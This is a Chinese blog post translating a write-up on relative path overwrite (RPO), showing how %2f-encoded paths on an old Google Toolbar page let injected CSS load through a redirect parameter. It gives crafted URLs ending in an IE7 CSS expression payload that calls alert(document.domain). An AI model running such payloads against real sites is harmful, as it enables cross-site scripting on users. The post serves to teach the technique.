一篇RPO漏洞挖掘文章翻译加深理解。

时间:2022-12-21 11:46:38

    这是我第一次尝试翻译一篇漏洞挖掘文章,翻译它也是为了加深理解它。这是一篇很有意思的漏洞挖掘文章。

  前几天在看fd的博客,偶然看到了这篇文章,虽然有点老了。但是思路真的牛皮。我决定花费时间和精力研究它们。我决定运用我对这个漏洞的理解来讲述他们。

  存在漏洞网站地址:http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

  查看源代码

<html>
<head>
<title>Google Toolbar API - Guide to Making Custom Buttons</title>
<link href="../../styles.css" rel="stylesheet" type="text/css" />
......

首先我们不管有没有rpo漏洞吧,先看最基础的,代码是不符合规范的

当我在sublime中输入<htm然后自动补全

代码的开头会有<!DOCTYPE html>

一篇RPO漏洞挖掘文章翻译加深理解。

了解这个很重要,我们继续往下说。

    rpo呢,简单点来说就是相对路径覆盖 ,源码中引用了相对路径css文件。

    那么我们要做的就是覆盖这个css文件,导致css攻击钓鱼 or css-xss攻击?

    现在我们知道,这算符合rpo攻击的一些条件的 1.没doctype  2.包含相对路径

  下一步我们要做什么?

  进行验证,他是否支持%2f,看看他是如何解析的:

  尝试修改网站为:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

  当我们再次访问

    我们发现页面正常访问,唯一的缺陷就是css失效了,它并没有显示404一篇RPO漏洞挖掘文章翻译加深理解。

  为什么会css样式会失效?

  让我们深入理解他们:

   网址输入http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    服务器的理解:http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

   浏览器的理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    css样式表的理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    没把/改成%2f之前:http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

    css样式表:http://www.google.com/tools/toolbar/style.css

    当把/改成%2f之后http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    css样式表:http://www.google.com/tools/style.css

    这样会导致style.css不存在,所以无法加载css样式表。导致这种问题是因为apis%2fhowto_guide.html被认为是一个文件,而不是被认为是apisapis/howto_guide.html一个目录

    

    现在浏览器认为我们的目录是/tools/toolbar/buttons/而不是/tools/toolbar/buttons/apis

    我们继续往前探测,我们发现它影响/tools/toolbar/buttons/*style.css ,可以覆盖他们,但是这范围太小了。

    我们尝试创建个fake目录和..%2ftoolbar

     当输入:http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html

    服务器理解:因为fake和..%2ftoolbar目录不存在,所以被理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    浏览器理解:http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html

    css样式表:http://www.google.com/tools/fake/style.css

  在这里我们添加了fake 和..%2ftoolbar虚假目录,这样浏览器认为fake和..%2ftoolbar都是目录,因为他们中间都有/*/,而%2f被理解成了文件。

    经过实验证明,理论上我们可以css覆盖http://www.google.com/*/style.css ,但是我们再次往上层编码,发现这是不行的,会出错。所以css覆盖止步于:http://www.google.com/tools/*/style.css

    现在我们需要个契机,导致它能css覆盖成功。 我们在http://www.google.com/tools/*寻找某个自定义内容的点,希望通过它能够css覆盖成功。

      我们发现某个接口http://www.google.com/tools/toolbar/buttons/gallery

    当我们访问这个接口的时候会跳转到:http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1

    这个跳转链接处有个q参数搜索,那么我们在接口处http://www.google.com/tools/toolbar/buttons/gallery?q=1

    会进行二次跳转,跳转到http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q=1

    那么我们尝试覆盖css

      在原来接口处http://www.google.com/tools/toolbar/buttons/gallery?q={}*{background:red}

      他会跳转到:  

      http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q={}*{background:red}

      让我们查看源代码:  

      一篇RPO漏洞挖掘文章翻译加深理解。

css代码成功植入,虽然他不在style样式表中。

    为什么只能使用接口而不能使用跳转链接进行攻击?因为我们的css覆盖止步于:http://www.google.com/tools/*/style.css

    而我们的跳转接口在/tools/*下。

      现在我们来利用它:

    构造地址:http://www.google.com/tools/toolbar/buttons%2Fgallery%3Fq%3D%0a%7B%7D*%7Bbackground%3Ared%7D/..%2F的/apis/howto_guide.html

     服务器的理解:http://www.google.com/tools/toolbar/buttons//apis/howto_guide.html

     浏览器的理解:http://www.google.com/tools/toolbar/buttons%2Fgallery%3Fq%3D%0a%7B%7D*%7Bbackground%3Ared%7D/..%2F的/apis/howto_guide.html

     css样式表:http://www.google.com/tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/style.css

     然后进行二次跳转:/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}/style.css

     一篇RPO漏洞挖掘文章翻译加深理解。

发现背景颜色变成了红色。我们css覆盖成功。

  现在我们把改变颜色的代码变成xss攻击代码:ie7下执行

    http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bx%253Aexpression(alert(document.domain))%257D/..%2f/apis/

    一篇RPO漏洞挖掘文章翻译加深理解。

    

就翻译到这里吧。

关于rpo攻击css地址的payload哪里来的?参考:http://www.thespanner.co.uk/2014/03/21/rpo/

这个人是作者

RPO攻击真的是一种被大部分人忽略的攻击,个人觉得危害很大,其实大家可以举一反三,它不仅仅会影响相对路径css覆盖,甚至他也能导致相对路径js覆盖劫持。我准备下一篇文章翻译他们。敬请期待。

一篇RPO漏洞挖掘文章翻译加深理解。的更多相关文章

  1. ref&colon;【干货分享】PHP漏洞挖掘——进阶篇

    ref:http://blog.nsfocus.net/php-vulnerability-mining/ [干货分享]PHP漏洞挖掘——进阶篇 王陶然     从常见的PHP风险点告诉你如何进行PH ...

  2. ref&colon;PHP反序列化漏洞成因及漏洞挖掘技巧与案例

    ref:https://www.anquanke.com/post/id/84922 PHP反序列化漏洞成因及漏洞挖掘技巧与案例 一.序列化和反序列化 序列化和反序列化的目的是使得程序间传输对象会更加 ...

  3. 浅析通过&quot&semi;监控&quot&semi;来辅助进行漏洞挖掘

    这篇文章总结了一些笔者个人在漏洞挖掘这一块的"姿势",看了下好像也没相关类似TIPs或者文章出现,就写下此文. 本文作者:Auther : vulkey@MstLab(米斯特安全攻 ...

  4. D-Link系列路由器漏洞挖掘

    参考 http://www.freebuf.com/articles/terminal/153176.html https://paper.seebug.org/429/ http://www.s3c ...

  5. D-Link系列路由器漏洞挖掘入门

    D-Link系列路由器漏洞挖掘入门 前言 前几天去上海参加了geekpwn,看着大神们一个个破解成功各种硬件,我只能在下面喊 6666,特别羡慕那些大神们.所以回来就决定好好研究一下路由器,争取跟上大 ...

  6. &lpar;转&rpar; exp1-1&colon;&sol;&sol; 一次有趣的XSS漏洞挖掘分析(1)

    from http://www.cnblogs.com/hookjoy/p/3503786.html 一次有趣的XSS漏洞挖掘分析(1)   最近认识了个新朋友,天天找我搞XSS.搞了三天,感觉这一套 ...

  7. Shodan在渗透测试及漏洞挖掘中的一些用法

    渗透测试中,第一阶段就是信息搜集,这一阶段完成的如何决定了你之后的进行是否顺利,是否更容易.而关于信息收集的文章网上也是有太多.今天我们来通过一些例子来讲解如何正确使用Shodan这一利器. 想要利用 ...

  8. (转)干货|这篇TensorFlow实例教程文章告诉你GANs为何引爆机器学习?(附源码)

    干货|这篇TensorFlow实例教程文章告诉你GANs为何引爆机器学习?(附源码) 该博客来源自:https://mp.weixin.qq.com/s?__biz=MzA4NzE1NzYyMw==& ...

  9. 【读书笔记】Android平台的漏洞挖掘和分析

    最近比较关注移动端的安全,以后也打算向安卓平台的安全发展.这篇博文主要是记录一些研究Android安全的读书笔记. Fuzzing技术的核心是样本生成技术 测试Android平台的组件间通信功能使用的 ...

随机推荐

  1. Oracle RAC asm常用命令

    在Oracle RAC环境下,使用grid帐号执行 运行asmcmd进入asm命令模式,如: [grid@oradb-node1 ~]$ asmcmd ASMCMD> ASMCMD> du ...

  2. Lisp简明教程

    此教程是我花了一点时间和功夫整理出来的,希望能够帮到喜欢Lisp(Common Lisp)的朋友们.本人排版很烂还望多多海涵! <Lisp简明教程>PDF格式下载 <Lisp简明教程 ...

  3. C&num; Windows Forms 事件处理顺序

    事件引发的顺序对某些Windows 窗体应用来说十分重要.当某些事件需要特别处理时(如重绘窗体的某些部分),必须知道事件在运行时的确切引发顺序.下面就应用程序和控件的生命周期中的几个重要阶段的事件顺序 ...

  4. MongoDB&lpar;4&rpar;&colon;多种方式关闭服务命令

    http://blog.csdn.net/czw698/article/details/8791153 MongoDB 提供几种关闭服务的命令,具体为以下: 一 使用 Crtl+C 关闭  [mong ...

  5. 浅谈Servlet读取Html参数

    1首先:webApp名称为cookieAndsession.html文件一般放在WebRoot文件夹下:/cookieAndsession/WebRoot/OrderForm.html,那么外界要访问 ...

  6. SpringMVC中Controller的方法返回值

    1. 返回ModelAndView对象 controller方法中定义ModelAndView对象并返回,对象中可添加model数据.指定view. 实例 @RequestMapping(" ...

  7. Go的context的问题

    Go的context的问题 2017-05-29 最近被由context引发的一个bug坑得不轻,所以反思一下Go的context的问题. context是隐式的约束,没有检测 如果我们写一个函数,比 ...

  8. C&plus;&plus;中的基础特性:封装,继承,多态

    抽象: 要将现实中的一个具体事务,变成C++中的一个类,例如将现实中的汽车变成代码中的car类.完成这个过程就需要 抽象 这一基本手段. 抽象是指 对具体问题(对象)进行分析概括,找出该类对象的公共性 ...

  9. ASP&period;NET Core中代码使用X509证书,部署到IIS上后报错:System cannot find the specified file 的解决办法(转载)

    问: I am trying to embrace the mysteries of SSL communication and have found a great tutorial on this ...

  10. script标签中type为&quot&semi;text&sol;x-template&quot&semi;或&quot&semi;text&sol;html&quot&semi;

    写过一点前端的都会碰到需要使用JS字符串拼接HTML元素然后append到页面DOM树上的情况,一般的写法都是使用+号以字符串的形式拼接,如果是短点的还好,如果很长很长的话就会拼接到令人崩溃了. 比如 ...